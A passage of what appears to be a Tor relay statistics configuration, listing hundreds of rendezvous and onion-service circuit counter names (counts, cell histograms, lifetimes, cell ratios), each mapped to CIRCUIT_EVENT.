'RendServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendTor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendTor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendSingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendMultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendMultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUCircuitCount' : { CIRCUIT_EVENT },
'RendUCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientCircuitCount' : { CIRCUIT_EVENT },
'RendUClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
